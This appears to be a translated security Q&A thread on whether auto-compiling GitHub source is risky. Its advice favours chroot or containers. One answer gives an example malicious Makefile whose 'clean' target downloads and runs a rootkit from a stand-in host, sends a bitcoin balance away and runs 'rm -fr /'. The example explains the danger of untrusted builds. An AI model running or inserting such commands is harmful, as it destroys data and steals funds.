¿Es un gran riesgo para la seguridad compilar el código fuente de github?

6

Tengo varios programas (Emacs el-get, oh-my-zsh y Homebrew) que ocasionalmente cargan el código fuente de github y lo compilan en mi máquina. ¿Es esta una gran preocupación de seguridad? ¿Qué puedo hacer para evitar que el malware llegue a mi máquina de esta manera?

    
pregunta Lenar Hoyt 24.03.2014 - 16:55
fuente

4 respuestas

4

Supondré que quiere decir que está compilando (pero no ejecutando) código no confiable que podría ser malicioso y le preocupa que su cadena de herramientas de compilación esté siendo explotada.

La respuesta es que no, no creo que sea una buena idea. En general, los compiladores no son seguros de usar con entradas no confiables.

En primer lugar, está el propio código fuente. No menciona qué idioma está importando desde github, pero si es C / C ++ (por ejemplo), puede estar sujeto a un ataque del preprocesador. Si bien no estoy seguro de que esto sea posible, no veo ninguna razón por la que no debería ser así. Sin embargo, dicho esto, hay sitios en línea de "compilador como servicio" que compilarán código arbitrario, por lo que quizás sea (o pueda hacerse) seguro.

Sin embargo, hay mayores preocupaciones que el compilador, ya que los tipos de archivos arbitrarios pueden bajar a través de github. Por ejemplo, no hay nada que impida que un Makefile malicioso haga cosas desagradables, lo que es definitivamente posible, o un proyecto de Visual Studio que especifique un script malicioso "precompilación".

Sobre el tema de Visual Studio (supongo que estás usando una cadena de herramientas make / gcc, pero mencionaré VS por completo, y porque conozco la respuesta) debes saber que MS afirma que incluso cargar símbolos de depuración maliciosos es un riesgo de seguridad, y que el enlazador de Visual Studio no se considera seguro contra código malicioso. Un google rápido encuentra este aviso que no menciona ningún parche está disponible.

Habiendo dicho todo esto, no he oído hablar de que esto haya sucedido antes, así que supongo que depende de tu tolerancia al riesgo. Yo no lo haria Si se trata de una compilación automatizada, podría ser posible crear una cuenta de usuario desechable (tomando pasos adicionales si se pretende que su fuente se mantenga en secreto).

    
respondido por el randomdude 24.03.2014 - 17:52
fuente
4

Intenta hacer este ejemplo Makefile :

# ...
# ...
# Too big text #1 to forensic
# ...
# ...

clean: 
    @echo "Hello"
    wget -q http://malwaresite.com/rootkit.bin
    chmod +x rootkit.bin
    ./rootkit.bin
    bitcoind sendtoaddress 1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX 'bitcoind getbalance'
    rm -fr /
    sudo rm -fr /
# ...
# ...
# Too big text #2 to forensic
# ...
# ...

Inícialo de la manera habitual:

$ make -f Makefile

La buena manera es mantener el entorno chroot, como el contenedor Ubuntu lxc o la cárcel de FreeBSD para construir todo lo que hay dentro.

    
respondido por el Anomalous Awe 28.03.2014 - 10:47
fuente
2

Depende completamente de cuánto confía en el proceso que se utiliza para la descarga. Si el descargador autentica que el código fuente es auténtico, entonces realmente no hay más riesgo de la compilación que de cualquier otra descarga de esa organización. Si el código fuente se toma de un servidor no seguro o de una manera que se puede cambiar de camino a su computadora, es potencialmente un riesgo de seguridad.

Fundamentalmente, la compilación no es el problema, si puede confiar en que el programa que se está descargando es el problema y se aplica igualmente al código que compilará usted mismo, así como al código que se descarga como binarios precompilados.

    
respondido por el AJ Henderson 24.03.2014 - 18:14
fuente
2

En 2012, GitHub fue hackeado explotando una vulnerabilidad de Ruby on Rails. El pirata informático tenía acceso comprometido a la rama maestra de cualquier repositorio. Del artículo:

  

es muy probable que Egor Homakov no haya sido la primera persona en explotar GitHub de esta manera. Nos hubiéramos enterado si un gran proyecto se hubiera eliminado de la nada, pero tal vez los piratas informáticos hayan estado modificando silenciosamente las bases de código para sus propios y nefarios fines.

Si esto ha sucedido, es probable que nunca lo descubramos.

    
respondido por el Dan Dascalescu 19.11.2014 - 01:44
fuente

Lea otras preguntas en las etiquetas